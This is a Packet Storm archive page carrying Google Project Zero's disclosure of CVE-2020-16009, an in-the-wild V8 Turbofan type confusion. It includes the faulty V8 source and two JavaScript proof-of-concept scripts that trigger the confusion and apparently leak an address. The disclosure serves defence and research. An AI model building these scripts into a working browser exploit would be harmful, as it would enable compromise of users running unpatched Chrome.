exploit the possibilities

Chrome V8 Turbofan Type Confusion

Chrome V8 Turbofan Type Confusion
Posted Nov 9, 2020
Authored by saelo, Google Security Research

Turbofan fails to deoptimize code after map deprecation, leading to a type confusion vulnerability.

tags | exploit
advisories | CVE-2020-16009
MD5 | 8d2abc7a60f64a99e0af818daab042a7

Chrome V8 Turbofan Type Confusion

Change Mirror Download
V8: Turbofan fails to deoptimize code after map deprecation, leading to type confusion

NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.

VULNERABILITY DETAILS

When turbofan compiles code that performs a Map transition, it usually installs a CodeDependency so that the resulting code is deoptimized should the target Map ever be deprecated (meaning that the code should now transition to a different Map). This is done through the TransitionDependencyOffTheRecord function [1]. This function will only install the dependency if the target Map can be deprecated, which is determined by Map::CanBeDeprecated [2], shown next

bool Map::CanBeDeprecated() const {
for (InternalIndex i : IterateOwnDescriptors()) {
PropertyDetails details = instance_descriptors(kRelaxedLoad).GetDetails(i);
if (details.representation().IsNone()) return true;
if (details.representation().IsSmi()) return true;
if (details.representation().IsDouble() && FLAG_unbox_double_fields) <---
return true;
if (details.representation().IsHeapObject()) return true;
if (details.kind() == kData && details.location() == kDescriptor) {
return true;
}
}
return false;
}

As can be seen, this function assumes that a Map storing only fields of type Double or Tagged can not be deprecated if FLAG_unbox_double_fields is false, which is the case if pointer compression is enabled (the default on x64). This appears to be incorrect, as the following code demonstrated:

// Requires --nomodify-field-representation-inplace

function poc() {
function hax(o) {
o.a = 13.37;
}

let o1 = {};
for (let i = 0; i < 100000; i++) {
let o = i == 1000 ? {} : o1;
hax(o);
}

let o2 = {};
o2.a = {};
// Map1 is now deprecated
// %HaveSameMap(o2, o1) === false

let o3 = {};
hax(o3);
// o3 was now transitioned to a deprecated map
%DebugPrint(o3);
// ...
// - deprecated_map
}
%NeverOptimizeFunction(poc);
poc();

This code ends up performing a new transition to a deprecated map.

This bug can be exploited when combined with the in-place field generalization mechanism. In short, the idea is to

1. JIT compile a function that performs a transition from map1{a:double} to map2{a:double,b:whatever}
2. Deprecate map2. This does not deoptimize the JIT code since map2 was thought to not be deprecatable
3. In-place generalize map1.a to type tagged. This will not also generalize map2 since it is deprecated.
4. Execute the JIT code. This will effectively transition from map1{a:tagged} to map2{a:double,b:whatever}, which is incorrect and results in a type confusion.

The following code achieves that and causes a check failure in debug builds: \"Debug check failed: value.IsHeapNumber().\" while printing (presumably) an address in release builds.

REPRODUCTION CASE
// Tested on v8 built from current HEAD (dd84c3937058b086b6b7a412ac352179e20bd9c7)
// Requires --allow-natives-syntax

function assert(c) {
if (!c) { throw \"Assertion failed\"; }
}

function assertFalse(c) {
assert(!c);
}

function poc() {
function hax(o) {
o.c = 13.37;
}

function makeObjWithMap5() {
let o = {};
o.a = 13.37;
o.b = {};
return o
}

// Create a bunch of Maps. See the assertions for their relationships

let m1 = {};

let m2 = {};
assert(%HaveSameMap(m2, m1));
m2.a = 13.37;

let m3 = {};
m3.a = 13.37;
assert(%HaveSameMap(m3, m2));
m3.b = 1;

let m4 = {};
m4.a = 13.37;
m4.b = 1;
assert(%HaveSameMap(m4, m3));
m4.c = {};

let m4_2 = {};
m4_2.a = 13.37;
m4_2.b = 1;
m4_2.c = {};
assert(%HaveSameMap(m4_2, m4));

let m5 = {};
m5.a = 13.37;
assert(%HaveSameMap(m5, m2));
m5.b = 13.37;
assertFalse(%HaveSameMap(m5, m3));

// At this point, Map3 and Map4 are both deprecated. Map2 transitions to Map5.
// Map5 is the migration target for Map3. The Migration target for Map4 is a new Map
assertFalse(%HaveSameMap(m5, m3));

let m6 = makeObjWithMap5();
assert(%HaveSameMap(m6, m5));
hax(m6);

let kaputt = makeObjWithMap5();
assert(%HaveSameMap(kaputt, m5));

for (let i = 0; i < 100000; i++) {
let o = i == 1337 ? makeObjWithMap5() : m6;
hax(o);
}

// Map4 is deprecated, so this property access triggers a Map migration.
// This will end up creating a new Map, Map7, to which both Map4 and Map6
// migrate. Map5's transition entry afterwards points to Map7 and no
// longer to Map6. Map6 is deprecated.
let m7 = m4_2;
assert(%HaveSameMap(m7, m4));
m7.c;
assertFalse(%HaveSameMap(m7, m4));

// However, hax was not deoptimized and still transitions to Map6 because
// Map::CanBeDeprecated returns false for it.

// This does a in-place map generalization of Map5 and Map7, but not Map6.
// Map6 still indicates that .a should be a double field.
kaputt.a = \"asdf\";
assert(%HaveSameMap(kaputt, m5));

// This now migrates to the wrong map (Map6) because hax was not deoptimized.
// This is incorrect because .a now stores a HeapObject and not a double.
hax(kaputt);

// This now fails in debug builds
%HeapObjectVerify(kaputt);

// This prints (presumably) an address in release builds
console.log(kaputt.a);
}
%NeverOptimizeFunction(poc);

poc();


CREDIT INFORMATION
Clement Lecigne of Google's Threat Analysis Group and Samuel Gro\u00df of Google Project Zero

NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.

[1] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/compiler/compilation-dependencies.cc;l=641;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1
[2] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/objects/map-inl.h;l=563;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1


Related CVE Numbers: CVE-2020-16009.



Found by: saelo@google.com

Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close